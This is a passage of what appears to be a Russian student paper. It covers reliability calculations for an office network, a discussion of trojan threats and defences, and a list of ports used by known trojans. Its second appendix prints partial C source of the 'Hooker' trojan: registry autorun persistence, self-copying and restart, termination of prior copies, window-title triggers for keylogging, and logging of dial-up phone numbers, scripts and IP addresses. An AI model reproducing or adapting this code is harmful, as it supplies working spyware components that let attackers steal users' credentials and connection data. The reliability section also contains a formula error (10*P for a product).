при неустранимом отклонении величин заданных параметров;

при недопустимом увеличении эксплуатационных расходов.

Для некоторых объектов предельное состояние является последним в его функционировании, т.е. объект снимается с эксплуатации, для других - определенной фазой в эксплуатационном графике, требующей проведения ремонтно-восстановительных работ.

В связи с этим, объекты могут быть:

невосстанавливаемые, для которых работоспособность в случае возникновения отказа, не подлежит восстановлению;

восстанавливаемые, работоспособность которых может быть восстановлена, в том числе и путем замены.

В ряде случаев один и тот же объект в зависимости от особенностей, этапов эксплуатации или назначения может считаться восстанавливаемым или невосстанавливаемым.

Отказ - событие, заключающееся в нарушении работоспособного состояния объекта.

Критерий отказа - отличительный признак или совокупность признаков, согласно которым устанавливается факт возникновения отказа.

Надежность является комплексным свойством, включающим в себя в зависимости от назначения объекта или условий его эксплуатации ряд простых свойств:

безотказность;

долговечность;

ремонтопригодность;

сохраняемость.

Безотказность - свойство объекта непрерывно сохранять работоспособность в течение некоторой наработки или в течение некоторого времени.

Долговечность - свойство объекта сохранять работоспособность до наступления предельного состояния при установленной системе технического обслуживания и ремонтов.

Ремонтопригодность - свойство объекта, заключающееся в его приспособленности к предупреждению и обнаружению причин возникновения отказов, поддержанию и восстановлению работоспособности путем проведения ремонтов и технического обслуживания.

Сохраняемость - свойство объекта непрерывно сохранять требуемые эксплуатационные показатели в течение (и после) срока хранения и транспортирования.

В зависимости от объекта надежность может определяться всеми перечисленными свойствами или частью их. Например, надежность колеса зубчатой передачи, подшипников определяется их долговечностью, а станка - долговечностью, безотказностью и ремонтопригодностью.

3.2 Основные показатели надежности

Показатель надежности количественно характеризует, в какой степени данному объекту присущи определенные свойства, обусловливающие надежность. Одни показатели надежности (например, технический ресурс, срок службы) могут иметь размерность, ряд других (например, вероятность безотказной работы, коэффициент готовности) являются безразмерными.

Наиболее важные показатели надежности невосстанавливаемых объектов - показатели безотказности, к которым относятся:

вероятность безотказной работы;

плотность распределения отказов;

интенсивность отказов;

средняя наработка на отказ

Вероятность безотказной работы - отношением числа N (t) объектов, безотказно проработавших до момента наработки t, к числу объектов, исправных к началу испытаний (t = 0) - к общему числу объектов N. Оценку ВБР можно рассматривать как показатель доли работоспособных объектов к моменту наработки t.

 

Плотность распределения отказов - отношением числа объектов n (t, t + t), отказавших в интервале наработки [t, t + t] к произведению общего числа объектов N на длительность интервала наработки t.

 

Интенсивность отказов - отношением числа объектов n (t, t + t), отказавших в интервале наработки [t, t + t] к произведению числа N (t) работоспособных объектов в момент t на длительность интервала наработки t.

Средняя наработка на отказ - среднее значение наработки ремонтируемого изделия между отказами (нарушениями его работоспособности)

Задача расчета надежности - определение показателей безотказности системы, состоящей из невосстанавливаемых элементов, по данным о надежности элементов и связях между ними.

Цель расчета надежности:

обосновать выбор того или иного конструктивного решения;

выяснить возможность и целесообразность резервирования;

выяснить, достижима ли требуемая надежность при существующей технологии разработки и производства.

Работоспособность системы обеспечивается при условии, когда все n элементов системы находятся в работоспособном состоянии, то есть отказ одного элемента приводит к отказу всей системы. Если это условие выполняется, то получаем схему надёжности системы с последовательным соединением элементов.

Рис.20 Схема надёжности с последовательным соединением элементов.

 

3.3 Построение структурной схемы надёжности локальной вычислительной сети информационно - рекламного отдела

Локальная вычислительная сеть информационно - рекламного отдела состоит из 10 рабочих станций, коммутатора, сетевого принтера и модема.

Рис.21 Локальная вычислительная сеть информационно - рекламного отдела

 

3.4 Логическая схема надёжности локальной вычислительной сети информационно - рекламного отдела

В логической схеме надёжности локальной вычислительной сети информационно - рекламного отдела элементы соединены последовательно. Отказ любого элемента приводит к отказу всей системы.

Рис.22 Схема надёжности локальной вычислительной сети информационно - рекламного отдела

 

3.5 Оптимизация структуры локальной вычислительной сети информационно - рекламного отдела с учётом характеристик надёжности её элементов

Исходные данные:

Pбр - вероятность безотказной работы

qПК - вероятность отказа персонального компьютера (qПК1 = qПК2 = qПК3 = … = qПК10)

qМ - вероятность отказа модема

qПр - вероятность отказа сетевого принтера

qК - вероятность отказа коммутатора

pПК - вероятность безотказной работы персонального компьютера (рПК1 = рПК2 ПК3 = … = рПК10)

pМ - вероятность безотказной работы модема

pПр - вероятность безотказной работы сетевого принтера

pК - вероятность безотказной работы коммутатора

MTBF - средняя наработка до отказа

t - время наблюдения (измеряется в годах в годах)

MTBFпк - средняя наработка до отказа персонального компьютера

MTBFпк1 = MTBFпк2 = MTBFпк3 =…= MTBFпк10

MTBFпр - средняя наработка до отказа сетевого принтера

MTBFк - средняя наработка до отказа коммутатора

MTBFм - средняя наработка до отказа модема

t = 6 месяцев

года

года

года

года

года

lпк - интенсивность отказов персональных компьютеров lпк =1lпк2 =lпк3 =…= lпк10

lм - интенсивность отказов модема

lпр - интенсивность отказов сетевого принтера

lк - интенсивность отказов коммутатора

Определим интенсивность отказов:

отказов / год

отказов / год

отказов / год

отказов / год

Рпк - вероятности безотказной работы персонального компьютера

Рпк 1 = Рпк 2 = Рпк 3 = … = Рпк 10

Рк - вероятности безотказной работы коммутатора

Рпр - вероятности безотказной работы сетевого принтера

Рм - вероятности безотказной работы модема

Определим вероятности безотказной работы элементов:

Определим вероятность безотказной работы локальной вычислительной сети:

Определим показатель эффективности локальной вычислительной сети:

Фэ = Õ (1-qi)

qi = Pi

Фэ = Pпк1*Рпк2* Pпк3*Рпк4* Pпк5*Рпк6* Pпк7*Рпк8* Pпк9*Рпк10* Pк*Рм*Рпр = Р

Фэ = 10*Pпк1* Pк*Рм*Рпр = Р

Фэ = 0.153

Получили низкое значение эффективности показателя эффективности, следовательно необходимо синтезировать такую структуру системы, чтобы обеспечить максимизацию функции эффективности. Эта задача решается метолом пошаговой оптимизации (или градиентного метода). Для этого составляется таблица, где i - номер элемента, ai = pi * qi, ni - количество резервных элементов i - того типа, Фэ= Õ (1-аi)

Таблица 5 Реализация пошагового метода оптимизации.

№ ша-га i пк1 пк2 пк3 пк4 пк5 пк6 пк7 пк8 пк9 пк10 коммутатор сетевой принтер модем Фэ
pi 0,88 0,88 0,88 0,88 0,88 0,88 0,88 0,88 0,88 0,88 0,882 0,779 0,78
qi 0,12 0,12 0,12 0,12 0,12 0,12 0,12 0,12 0,12 0,12 0,118 0,221 0,22
1 ni 1 1 1 1 1 1 1 1 1 1 1 1 1 0,15
ai 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1041 0,17216 0,17
2 ni 1 1 1 1 1 1 1 1 1 1 1 2 1 0,24
ai 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1041 0,03805 0,17
3 ni 1 1 1 1 1 1 1 1 1 1 1 2 2 0,28
ai 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1041 0,03805 0,04

Использование резервных элементов позволяют увеличить значение функции эффективности до необходимого значения.

Таким образом метод пошаговой оптимизации позволяет обосновать характеристики оптимальной структуры системы с предположением, что все элементы включены и постоянно работают, отказ одного элемента приведёт к отказу всей системы. В теории надёжности такая система получила название системы с основными элементами и резервными элементами, находящимися в горячем резерве.


Заключение

Основной целью атаки рабочей станции является, конечно, получение данных, обрабатываемых, либо локально хранимых на ней. А основным средством подобных атак до сих пор остаются "троянские" программы.

Троянские программы - одна из наиболее опасных угроз безопасности компьютерных систем. Радикальным способом защиты от этой угрозы является создание замкнутой среды исполнения программ. Никакая другая программа с такой большой вероятностью не приводит к полной компрометации системы, и ни одна другая программа так трудно не обнаруживается.

Троянским конем может быть программа, которая делает что-то полезное, или просто что-то интересное. Она всегда делает что ни будь неожиданное, подобно захвату паролей или копированию файлов без ведома пользователя.

Основная задача большинства троянских программ состоит в выполнении действий, позволяющих получить доступ к данным, которые не подлежат широкой огласке (пользовательские пароли, регистрационные номера программ, сведения о банковских счетах и т.д.) Кроме того, троянцы могут причинять прямой ущерб компьютерной системе путем приведения ее в неработоспособное состояние.

Значительно большую угрозу представляют троянцы, входящие в состав распространенных компьютерных приложений, утилит и операционных систем. Обнаружить такие программы удается чисто случайно. Программное обеспечение, частью которого они являются, в большинстве случаев используется не только какой-то одной компанией, закупившей это программное обеспечение, но и устанавливается на крупные правительственные и образовательные Internet-серверы, распространяется через Internet, а потому последствия могут быть самыми плачевными.

Таким образом, троянские программы встречаются довольно часто и, следовательно, представляют серьезную угрозу безопасности компьютерных систем. Большинство троянцев являются частью других программ, которые хранятся в компьютере в откомпилированном виде. Текст этих программ не предназначен для восприятия человеком и представляет собой последовательность команд на машинном языке, состоящую из нулей и единиц. Рядовой пользователь, как правило, не имеет ни малейшего понятия о внутренней структуре таких программ. Он просто запускает их на исполнение путем задания имени соответствующей программы в командной строке или двойным нажатием "мыши", наставляя ее указатель на эту программу.

Даже после того, как троянская программа обнаружена, ее вредоносное влияние на компьютерную систему может ощущаться еще в течение очень длительного времени. Зачастую никто не может с уверенностью сказать, насколько сильно была скомпрометирована компьютерная система присутствием в ней троянской программы

В связи с этим для защиты информации, хранящейся на персональных компьютерах, от троянских программ необходимо использовать комплекс программ, например, встроенный брандмауэр Windows, внешний фаервол и антивирусную программ. Использование лишь одного из указанных средств не даст необходимого уровня защищённости информационной системы.


Библиографический список

1.   Д. Макнамара Секреты компьютерного шпионажа: Тактика и контрмеры. Пер. с англ; под ред.С.М. Молявко. - М.: БИНОМ. Лаборатория знаний, 2004. - 536 с

2.   Мак-Клар, Стюарт, Скембрей, Джоел, Курц, Джордж. Секреты хакеров. Безопасность сетей - готовые решения, 3-е издание.: Пер. с англ. - М.: Издательский дом "Вильяме", 2002.

3.   М. Руссинович, Д. Соломон Внутреннее устройство Windows: Windows Server 2003, Windows XP и Windows 2000:...4-е изд. Пер. с англ. - М.: Издательско-торговый дом "Русская Редакция", 2005г.992

4.   Харви М. Дейтел, Дейтел П. Дж., Чофнес Д.Р. Операционные системы. Распределенные системы, сети, безопасность -М.: Бином. Лаборатория знаний, 2006

5.   Вебер К., Бадур Г. Безопасность в Windows XP. Готовые решения сложных задач защиты компьютеров. - М.: Diasoft, 2003, 464 с.

6.   Хатч, Брайан, Ли, Джеймс, Курц, Джордж Секреты хакеров. Безопасность Linux - готовые решения, 2-е издание, - М.: Издательский дом "Вильямс", 2004, 704 с

7.   Скудис Э. Противостояние хакерам: Пошаговое руководство по компьютерным атакам и эффективной защите: Пер. с англ., - М.: ДМК-Пресс, 2003, 512 с

8.   http://www.bezpeka.com/ru/news/2005/07/22/4850.html

9.   http://www.safensoft.ru/safensec/personal/

10.      http://www.xndits.ru/index. php? module=articles&c=articles&b=1&a=32

11.      http://www.kuban.ru/help/troyan. htm

12.      www.cnews.ru

13.      www.viruslist.comruvirusesencyclopediavirusid=34631

14.      ru. wikipedia.org

15.      http://www.tehnostar.com/newshard/16085.html

16.      http://www.hackzona.ru/hz. php? name=News&file=article&sid=3262

17.      http://www.compress.ru/Archive/CP/2006/3/81/


Приложение 1

Список портов, используемых троянскими программами:

port 21 - Back Construction, Blade Runner, Doly Trojan, Fore, FTP trojan, Invisible FTP, Larva, MBT, Motiv, Net Administrator, Senna Spy FTP Server, WebEx, WinCrash

port 23 - Tiny Telnet Server, Truva Atl

port 25 - Aji, Antigen, Email Password Sender, Gip, Happy 99, I Love You, Kuang 2, Magic Horse, Moscow Email Trojan, Naebi, NewApt, ProMail trojan, Shtrilitz, Stealth, Tapiras, Terminator, WinPC, WinSpy

port 31 - Agent 31, Hackers Paradise, Masters Paradise port 41 - DeepThroat

port 48 - DRAT port 50 - DRAT

port 59 - DMSetup port 79 - Firehotcker

port 80 - Back End, Executor, Hooker, RingZero port 99 - Hidden Port

port 110 - ProMail trojan port 113 - Invisible Identd Deamon, Kazimas

port 119 - Happy 99 port 121 - JammerKillah

port 123 - Net Controller port 133 - Farnaz, port 146 - Infector

port 146 (UDP) - Infector port 170 - A-trojan

port 421 - TCP Wrappers port 456 - Hackers Paradise

port 531 - Rasmin

port 555 - Ini-Killer, NeTAdministrator, Phase Zero, Stealth Spy

port 606 - Secret Service

port 666 - Attack FTP, Back Construction, NokNok, Cain & Abel, Satanz Backdoor, ServeU, Shadow Phyre

port 667 - SniperNet port 669 - DP Trojan

port 692 - GayOL port 777 - Aim Spy

port 808 - WinHole port 911 - Dark Shadow

port 999 - DeepThroat, WinSatan port 1000 - Der Spacher 3

port 1001 - Der Spacher 3, Le Guardien, Silencer, WebEx

port 1010 - Doly Trojan port 1011 - Doly Trojan port 1255 - Scarab

port 1256 - Project nEXT port 1269 - Mavericks Matrix

port 1313 - NETrojan port 1338 - Millenium Worm

port 1349 (UDP) - BO DLL port 1492 - FTP99CMP

port 1509 - Psyber Streaming Server port 1524 - Trinoo

port 1600 - Shivka-Burka port 1777 - Scarab

port 1807 - SpySender port 1966 - Fake FTP

port 1969 - OpC BO port 1981 - Shockrave

port 1999 - BackDoor, TransScout port 1012 - Doly Trojan

port 1015 - Doly Trojan port 1016 - Doly Trojan

port 1020 - Vampire port 1024 - NetSpy

port 1042 - Bla port 1045 - Rasmin

port 1050 - MiniCommand port 1080 - WinHole

port 1081 - WinHole port 1082 - WinHole

port 1083 - WinHole port 1090 - Xtreme

port 1095 - RAT port 1097 - RAT

port 1098 - RAT port 1099 - BFevolution, RAT

port 1170 - Psyber Stream Server, Streaming Audio trojan, Voice

port 1200 (UDP) - NoBackO port 1201 (UDP) - NoBackO

port 1207 - SoftWAR port 1212 - Kaos

port 1225 - Scarab port 1234 - Ultors Trojan

port 1243 - BackDoor-G, SubSeven, SubSeven Apocalypse, Tiles

port 1245 - VooDoo Doll

port 2000 - Der Spaeher 3, Insane Network, TransScout

port 2001 - Der Spaeher 3, TransScout, Trojan Cow

port 2002 - TransScout port 2003 - TransScout

port 2004 - TransScout port 2005 - TransScout

port 2023 - Ripper port 2080 - WinHole

port 2115 - Bugs port 2140 - Deep Throat, The Invasor

port 2155 - Illusion Mailer port 2283 - HVL Rat5

port 2300 - Xplorer port 2565 - Striker

port 2583 - WinCrash port 2600 - Digital RootBeer

port 2716 - The Prayer port 2773 - SubSeven

port 2801 - Phineas Phucker port 3000 - Remote Shutdown

port 3024 - WinCrash port 3128 - RingZero

port 3129 - Masters Paradise port 3150 - Deep Throat, The Invasor

port 3456 - Teror Trojan port 3459 - Eclipse 2000, Sanctuary

port 3700 - Portal of Doom port 3791 - Eclypse

port 3801 (UDP) - Eclypse port 4000 - Skydance

port 4092 - WinCrash port 4242 - Virtual hacking Machine

port 4321 - BoBo port 4444 - Prosiak, Swift remote

port 4567 - File Nail port 4590 - ICQTrojan

port 5000 - Bubbel, Back Door Setup, Sockets de Troie port 5001 - Back Door Setup, Sockets de Troie

port 5010 - Solo port 5011 - One of the Last Trojans (OOTLT)

port 5031 - NetMetropolitan port 5031 - NetMetropolitan

port 5321 - Firehotcker port 5343 - wCrat

port 5400 - Blade Runner, Back Construction port 5401 - Blade Runner, Back Construction

port 5402 - Blade Runner, Back Construction port 5550 - Xtcp

port 5512 - Illusion Mailer port 5555 - ServeMe

port 5556 - BO Facil port 5557 - BO Facil

port 5569 - Robo-Hack port 5637 - PC Crasher

port 5638 - PC Crasher port 5742 - WinCrash

port 5882 (UDP) - Y3K RAT port 5888 - Y3K RAT

port 6000 - The Thing port 6006 - The Thing

port 6272 - Secret Service port 6400 - The Thing

port 6667 - Schedule Agent port 6669 - Host Control, Vampyre

port 6670 - DeepThroat, BackWeb Server, WinNuke eXtreame

port 6711 - SubSeven port 6712 - Funny Trojan, SubSeven

port 6713 - SubSeven port 6723 - Mstream

port 6771 - DeepThroat port 6776 - 2000 Cracks, BackDoor-G, SubSeven

port 6838 (UDP) - Mstream port 6912 - Shit Heep (not port 69123!)

port 6939 - Indoctrination

port 6969 - GateCrasher, Priority, IRC 3, NetController port 6970 - GateCrasher

port 7000 - Remote Grab, Kazimas, SubSeven port 7001 - Freak88

port 7215 - SubSeven port 7300 - NetMonitor

port 7301 - NetMonitor port 7306 - NetMonitor

port 7307 - NetMonitor port 7308 - NetMonitor

port 7424 - Host Control port 7424 (UDP) - Host Control

port 7789 - Back Door Setup, ICKiller port 7983 - Mstream

port 8080 - RingZero port 8787 - Back Orifice 2000

port 8897 - HackOffice port 8988 - BacHack

port 8989 - Rcon port 9000 - Netministrator

port 9325 (UDP) - Mstream port 9400 - InCommand

port 9872 - Portal of Doom port 9873 - Portal of Doom

port 9874 - Portal of Doom port 9875 - Portal of Doom

port 9876 - Cyber Attacker, RUX port 9878 - TransScout

port 9989 - iNi-Killer port 9999 - The Prayer

port 10067 (UDP) - Portal of Doom port 10085 - Syphillis

port 10086 - Syphillis port 10101 - BrainSpy

port 10167 (UDP) - Portal of Doom port 10528 - Host Control

port 10520 - Acid Shivers port 10607 - Coma

port 10666 (UDP) - Ambush port 11000 - Senna Spy

port 11050 - Host Control port 11051 - Host Control

port 11223 - Progenic trojan, Secret Agent port 12076 - Gjamer

port 12223 - Hack+99 KeyLogger

port 12345 - GabanBus, My Pics, NetBus, Pie Bill Gates, Whack Job, X-bill

port 12346 - GabanBus, NetBus, X-bill port 12349 - BioNet

port 12361 - Whack-a-mole port 12362 - Whack-a-mole

port 12623 (UDP) - DUN Control port 12624 - Buttman

port 12631 - WhackJob port 12754 - Mstream

port 13000 - Senna Spy port 13010 - Hacker Brazil

port 15092 - Host Control port 15104 - Mstream

port 16660 - Stacheldracht port 16484 - Mosucker

port 16772 - ICQ Revenge port 16969 - Priority

port 17166 - Mosaic port 17300 - Kuang2 The Virus

port 17777 - Nephron port 18753 (UDP) - Shaft

port 19864 - ICQ Revenge port 20001 - Millennium

port 20002 - AcidkoR port 20034 - NetBus 2 Pro, NetRex, Whack Job

port 20203 - Chupacabra port 20331 - Bla

port 20432 - Shaft port 20432 (UDP) - Shaft

port 21544 - GirlFriend, Kidterror, Schwindler, WinSp00fer port 22222 - Prosiak

port 23023 - Logged port 23432 - Asylum

port 23456 - Evil FTP, Ugly FTP, Whack Job port 23476 - Donald Dick

port 23476 (UDP) - Donald Dick port 23477 - Donald Dick

port 26274 (UDP) - Delta Source port 26681 - Spy Voice

port 27374 - SubSeven port 27444 (UDP) - Trinoo

port 27573 - SubSeven port 27665 - Trinoo

port 29104 - Host Control port 29891 (UDP) - The Unexplained

port 30001 - TerrOr32 port 30029 - AOL Trojan

port 30100 - NetSphere port 30101 - NetSphere

port 30102 - NetSphere port 30103 - NetSphere

port 30103 (UDP) - NetSphere port 30133 - NetSphere

port 30303 - Sockets de Troie port 30947 - Intruse

port 30999 - Kuang2 port 31335 (UDP) - Trinoo

port 31336 - Bo Whack, ButtFunnel port 31337 - Baron Night, BO client, BO2, Bo Facil

port 31337 (UDP) - BackFire, Back Orifice, DeepBO, Freak>

port 31338 - NetSpy DK, ButtFunnel port 31338 (UDP) - Back Orifice, DeepBO

port 31339 - NetSpy DK port 31666 - BOWhack

port 31785 - Hack+a+Tack port 31787 - Hack+a+Tack

port 31788 - Hack+a+Tack port 31789 (UDP) - Hack+a+Tack

port 31791 (UDP) - Hack+a+Tack port 31792 - Hack+a+Tack

port 32100 - Peanut Brittle, Project nEXT port 32418 - Acid Battery

port 33333 - Blakharaz, Prosiak port 33577 - PsychWard

port 33777 - PsychWard port 33911 - Spirit 2001a

port 34324 - BigGluck, TN port 34555 (UDP) - Trinoo (Windows)

port 35555 (UDP) - Trinoo (Windows) port 37651 - YAT

port 40412 - The Spy port 40421 - Agent 40421, Masters Paradise

port 40422 - Masters Paradise port 40423 - Masters Paradise

port 40426 - Masters Paradise port 41666 - Remote Boot

port 41666 (UDP) - Remote Boot port 44444 - Prosiak

port 47262 (UDP) - Delta Source port 50505 - Sockets de Troie

port 50766 - Fore, Schwindler port 51996 - Cafeini

port 52317 - Acid Battery 2000 port 53001 - Remote Windows Shutdown

port 54283 - SubSeven port 54320 - Back Orifice 2000

port 54321 - School Bus port 54321 (UDP) - Back Orifice 2000

port 57341 - NetRaider port 58339 - ButtFunnel

port 60000 - Deep Throat port 60068 - Xzip 6000068

port 60411 - Connection port 61348 - Bunker-Hill

port 61466 - Telecommando port 61603 - Bunker-Hill

port 63485 - Bunker-Hill port 65000 - Devil, Stacheldracht

port 65432 - The Traitor port 65432 (UDP) - The Traitor

port 65535 - RC

ПРИЛОЖЕНИЕ 2

Исходный текст троянца Нооker

#include "hooker. h"

#include "logfunc. h"

#include "common. h"

#include "lzw. h"

 // ------------ - путь в реестре---------------------

HKEY GetRegKey (const char* s,char* r)

{

const char* szRoots [] = {

"HKEY_CLASSES_ROOT",

"HKEY_CURRENT_USER",

"HKEY_LOCAL_MACHINE",

"HKEY_USERS"};

const HKEY hKeys [] = {

HKEY_CLASSES_ROOT,

HKEY_CURRENT_USER,

HKEY_LOCAL_MACHINE,

HKEY_USERS};

int i;

for (i=0; i<4; i++)

if (! strncmp (s, szRoots [i], strlen (szRoots [i]))) {

strcpy (r, s + strlen (szRoots [i]) + 1);

return hKeys [i];

};

return NULL;

};

 // --------------Повторный запуск программы при необходимости--------------

void RecurrentStart (void)

{

char *szCmd,sz1 [0x100],sz2 [0x100];

PROCESS_INFORMATION pi;

STARTUPINFO si;

szCmd = GetCommandLine ();

sprintf (sz1,"Restart_%X",sti. number);

if (! strstr (szCmd,sz1)) {

 // Это первая копия процесса, сделать вторую

memset (&si,0,sizeof (si));

si. cb = sizeof (si);

GetModuleFileName (NULL,sz2,sizeof (sz2));

 // Создаем процесс

CreateProcess (

sz2, // pointer to name of executable module

sz1, // pointer to command line string

NULL, // pointer to process security attributes

NULL, // pointer to thread security attributes

false, // handle inheritance flag

0, // creation flags

NULL, // pointer to new environment block

NULL, // pointer to current directory name

&si, // pointer to STARTUPINFO

&pi // pointer to PROCESS_INFORMATION

);

ExitProcess (0);

};

};

 // ----------------------------Деинсталяция----------------------------

void AutoKill (HINSTANCE h_keylog)

{

HKEY hKey,hRoot;

char sz1 [0x100];

EnterCriticalSection (&gcs);

 // вход реестре

hRoot = GetRegKey (sti. reg_path,sz1);

if (hRoot) {

RegOpenKeyEx (

hKey, // handle of open key

sz1, // address of name of subkey to open

0, // reserved

KEY_ALL_ACCESS, // security access mask

&hKey // address of handle of open key

);

RegDeleteValue (hKey,sti. reg_desc);

RegCloseKey (hKey);

};

 // Удаляем лог

DeleteFile (sti. logname);

 // Удаляем keylog dll

GetModuleFileName (h_keylog,sz1,sizeof (sz1));

FreeLibrary (h_keylog);

DeleteFile (sz1);

 // Adieu!

ExitProcess (0);

};

 // ----------------------Установка в реестре---------------------------

void RegInstall (void)

{

HKEY hKey,hRoot;

ULONG i,j;

char buf1 [0x100],buf2 [0x100];

hRoot = GetRegKey (sti. reg_path,buf1);

if (! hRoot) hRoot = HKEY_LOCAL_MACHINE;

if (RegCreateKeyEx (

hRoot, // handle of an open key

buf1, // address of subkey name

0, // reserved

"", // address of class string

REG_OPTION_NON_VOLATILE, // special options flag

KEY_ALL_ACCESS, // desired security access

NULL, // address of key security structure

&hKey, // address of buffer for opened handle

&i // address of disposition value buffer

) ! = ERROR_SUCCESS) return;

i = sizeof (buf1);

if (sti. fullname)

strcpy (buf2,sti. full_exe_name);

else

strcpy (buf2,sti. exe_name);

if ( (RegQueryValueEx (

hKey, // handle of key to query

sti. reg_desc, // address of name of value to query

NULL, // reserved

&j, // address of buffer for value type

(UCHAR*) buf1, // address of data buffer

&i // address of data buffer size

) ! = ERROR_SUCCESS) ||

(j! = REG_SZ) ||

(strcmp (buf1,buf2))) {

 // Надо ставить свой ключ

RegSetValueEx (

hKey, // handle of key to set value for

sti. reg_desc, // address of value to set

0, // reserved

REG_SZ, // flag for value type

(UCHAR*) buf2, // address of value data

strlen (buf2) + 1 // size of value data

);

};

RegCloseKey (hKey);

};

 // -----------------------Инсталяция в систему-------------------------

void Install (void)

{

char buf1 [0x100],buf2 [0x100];

PROCESS_INFORMATION pi;

STARTUPINFO si;

 // из какого каталога запуск?

GetModuleFileName (NULL,buf1,sizeof (buf1));

CharUpperBuff (buf1,strlen (buf1));

if (strcmp (sti. full_exe_name,buf1)) { // Нет это не наш каталог

 // Копируем

if (CopyFile (buf1,sti. full_exe_name,false)) { // Скопировали нормально

memset (&si,0,sizeof (si));

si. cb = sizeof (si);

sprintf (buf2,"Restart_%X Kill_%X=%s",sti. number,sti. number,buf1);

 // Стартуем процесс

CreateProcess (

sti. full_exe_name, // pointer to name of executable module

buf2, // pointer to command line string

NULL, // pointer to process security attributes

NULL, // pointer to thread security attributes

false, // handle inheritance flag

0, // creation flags

NULL, // pointer to new environment block

NULL, // pointer to current directory name

&si, // pointer to STARTUPINFO

&pi // pointer to PROCESS_INFORMATION

);

};

ExitProcess (0);

};

};

 // --------------------Проверка на включение кейлога-------------------

bool TitleTest (HWND hwnd, char* t)

{

char title [0x200];

UINT i;

GetWindowText (hwnd,title,sizeof (title)); // Считываем заголовок окна

strcpy (t,title);

if (sti. total_log) return true; // Если постоянный лог

CharUpperBuff (title,strlen (title)); // в верхний региср

for (i = 0; i<sti. nsubstr; i++) // Ищем субстроки

if (strstr (title,sti. substr [i])) return true;

return false;

};

 // --------Тут происходит проверка на возникновение соединения---------

void ConDectecting (void)

{

static HRASCONN hconn;

static int state;

RASCONN rascon;

RASCONNSTATUS rascs;

LPRASENTRY re;

RASPPPIP rasip;

SYSTEMTIME st;

int i,j;

char sz1 [0x1000],sz2 [0x100];

FILE* fs;

if (! bRASDLL) return;

 // текущее соединение?

rascon. dwSize = sizeof (RASCONN);

j = sizeof (rascon);

if (RasEnumConnections (

&rascon, // buffer to receive connections data

(LPDWORD) &j, // size in bytes of buffer

(LPDWORD) &i // number of connections written to buffer

)) return;

if (! i) { // нет соединений

hconn = NULL;

return;

};

 // на каком этапе подключение?

rascs. dwSize = sizeof (rascs);

i = RasGetConnectStatus (

rascon. hrasconn, // handle to RAS connection of interest

&rascs // buffer to receive status data

);

if ( (i) || (rascs. rasconnstate == RASCS_Disconnected)) {

hconn = NULL;

return;

};

if (hconn! = rascon. hrasconn) {

state = rascs. rasconnstate;

hconn = rascon. hrasconn;

return;

};

if ( (rascs. rasconnstate == RASCS_Connected) && (state! = RASCS_Connected)) {

state = RASCS_Connected;

 // новое соединение успешно установлено

GetLocalTime (&st);

 // имя, время соединения

sprintf (

sz1,"\nConnection: \"%s\",%2.2u:%2.2u:%2.2u\n",

rascon. szEntryName,

st. wHour,

st. wMinute,

st. wSecond

);

i = 0; // опередляем количество памяти под RASENTRY

RasGetEntryProperties (

NULL, // pointer to full path and filename of phone-book file

rascon. szEntryName, // pointer to an entry name

NULL, // buffer that receives entry information

(LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer

NULL, // buffer that receives device-specific configuration information

NULL // size, in bytes, of the lpbDeviceInfo buffer

);

re = (LPRASENTRY) new BYTE [i];

re->dwSize = sizeof (RASENTRY);

j = RasGetEntryProperties (

NULL, // pointer to full path and filename of phone-book file

rascon. szEntryName, // pointer to an entry name

re, // buffer that receives entry information

(LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer

NULL, // buffer that receives device-specific configuration information

NULL // size, in bytes, of the lpbDeviceInfo buffer

);

 // телефон, скрипт

if (! j) {

if (re->dwfOptions & RASEO_UseCountryAndAreaCodes)

sprintf (

sz2,"\tPN:%u,%s,%s\n",

re->dwCountryCode,

re->szAreaCode,

re->szLocalPhoneNumber

);

else

sprintf (

sz2,"\tPN:%s\n",

re->szLocalPhoneNumber

);

strcat (sz1,sz2);

if (strcmp (re->szScript,"")) {

sprintf (sz2,"\tScript:%s\n",re->szScript);

strcat (sz1,sz2);

fs = fopen (re->szScript,"rt");

if (fs) {

fseek (fs,0,SEEK_END);

i = ftell (fs);

j = strlen (sz1);

if (i < ( (int) sizeof (sz1) - j - 0x40)) {

fseek (fs,0,SEEK_SET);

i = fread (&sz1 [j],1, i,fs);

sz1 [j + i] = 0;

strcat (sz1,"\n");

};

fclose (fs);

};

};

};

delete re;

i = sizeof (RASPPPIP);

rasip. dwSize = i;

j = RasGetProjectionInfo (

rascon. hrasconn, // handle that specifies remote access connection of interest

RASP_PppIp, // specifies type of projection information to obtain

&rasip, // points to buffer that receives projection information

(LPDWORD) &i // points to variable that specifies buffer size

);

 // IP наш и сервера

if (! j) {

sprintf (

sz2,"\tIP:%s\n"

"\tServer's IP:%s\n",

rasip. szIpAddress,

rasip. szServerIpAddress);

strcat (sz1,sz2);

};

LogAdd (sz1);

};

};

 // ---------------------Удаление предудущей копии----------------------

void DelPrev ()

{

CREATETOOL CreateToolhelp32Snapshot;

FIRST32 Process32First;

NEXT32 Process32Next;

HANDLE h_th;

HINSTANCE h_l;

PROCESSENTRY32 pe;

HANDLE hp;

h_l = LoadLibrary ("KERNEL32. DLL");

if (! h_l) return;

CreateToolhelp32Snapshot =

(CREATETOOL) GetProcAddress (h_l,"CreateToolhelp32Snapshot");

Process32First = (FIRST32) GetProcAddress (h_l,"Process32First");

Process32Next = (NEXT32) GetProcAddress (h_l,"Process32Next");

if ( (! Process32Next) || (! Process32First) || (! CreateToolhelp32Snapshot))

goto exit_proc;

h_th = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS,0);

pe. dwSize = sizeof (pe);

if (! Process32First (h_th,&pe)) goto exit_proc;

do {

CharUpperBuff (pe. szExeFile,strlen (pe. szExeFile));

if ( (! strcmp (sti. full_exe_name,pe. szExeFile)) && (GetCurrentProcessId () ! = pe. th32ProcessID)) {

hp = OpenProcess (PROCESS_TERMINATE,0,pe. th32ProcessID);

if (hp)

#ifdef _DEBUG

if (! TerminateProcess (hp,0)) ShowMessage ("Cannot terminate process");

#else

TerminateProcess (hp,0);

#endif

};

} while (Process32Next (h_th,&pe));

exit_proc:

FreeLibrary (h_l);

};

 // -------------callback функция для распаковки кейлог-dll-------------

FILE* unpack_file;

void Callback (char* data, int len)

{

fwrite (data,1,len,unpack_file);

};

 // -----------------------------WinMain--------------------------------

